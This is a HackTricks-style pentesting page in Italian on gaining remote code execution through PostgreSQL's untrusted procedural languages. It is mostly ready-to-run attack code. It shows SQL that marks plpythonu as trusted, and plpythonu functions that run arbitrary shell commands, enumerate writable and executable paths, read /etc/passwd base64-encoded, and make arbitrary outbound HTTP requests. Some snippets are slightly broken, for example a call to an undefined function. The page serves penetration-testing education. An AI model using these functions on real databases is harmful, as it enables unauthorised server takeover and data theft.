RCE with PostgreSQL Languages

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Linguaggi di PostgreSQL

Il database PostgreSQL a cui hai accesso potrebbe avere diversi linguaggi di scripting installati che potresti sfruttare per eseguire codice arbitrario.

Puoi farli funzionare:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

La maggior parte dei linguaggi di scripting che è possibile installare in PostgreSQL ha 2 varianti: la fidata e la non fidata. La variante non fidata avrà un nome terminante con "u" e sarà la versione che ti permetterà di eseguire codice e utilizzare altre funzioni interessanti. Questi sono alcuni dei linguaggi che risulteranno interessanti se installati:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (qualsiasi altro linguaggio di programmazione che utilizza una versione non sicura)

Se scopri che un linguaggio interessante è installato ma non fidato da PostgreSQL (lanpltrusted è false), puoi provare a fidarti di esso con la seguente riga, in modo che PostgreSQL non applichi restrizioni:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Se non vedi una lingua, puoi provare a caricarla con (devi essere superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

È possibile eseguire codice arbitrario utilizzando le estensioni plpythonu o plpython3u in PostgreSQL. Queste estensioni consentono di eseguire codice Python all'interno di una query SQL.

Per eseguire il codice Python, è necessario creare una funzione definita dall'utente che utilizzi l'estensione plpythonu o plpython3u. Ad esempio, possiamo creare una funzione chiamata execute_command che esegue un comando di sistema:

CREATE OR REPLACE FUNCTION execute_command(command text)
  RETURNS text AS
$$
import subprocess
output = subprocess.check_output(command, shell=True)
return output.decode()
$$
LANGUAGE plpythonu;

Una volta creata la funzione, è possibile chiamarla all'interno di una query SQL utilizzando la sintassi SELECT execute_command('comando'). Ad esempio, per eseguire il comando ls -la, possiamo utilizzare la seguente query:

SELECT execute_command('ls -la');

In questo modo, il risultato del comando ls -la verrà restituito come output della query.

È importante notare che l'esecuzione di codice arbitrario all'interno di una query SQL può essere pericolosa e può portare a vulnerabilità di sicurezza. Pertanto, è consigliabile utilizzare questa tecnica solo in ambienti controllati e con le dovute precauzioni.

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';

SELECT get_user(""); #Get user, para is useless
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';

SELECT lsdir("/"); #List dir
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables

return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';

SELECT findw("/"); #Find Writable folders from a folder (recursively)
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_file("psql"); #Find a file
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find(dir)
b = []

for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT findx("/"); #Find an executables in folder (recursively)
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_exe("psql"); #Find executable by susbstring
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';

select read('/etc/passwd'); #Read a file in b64
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';

select get_perms("/etc/passwd"); # Get perms of file
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req2('https://google.com'); #Request using python2

CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req3('https://google.com'); #Request using python3

pgSQL

Controlla la seguente pagina:

pagePL/pgSQL Password Bruteforce

C

Controlla la seguente pagina:

pageRCE with PostgreSQL Extensions
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Last updated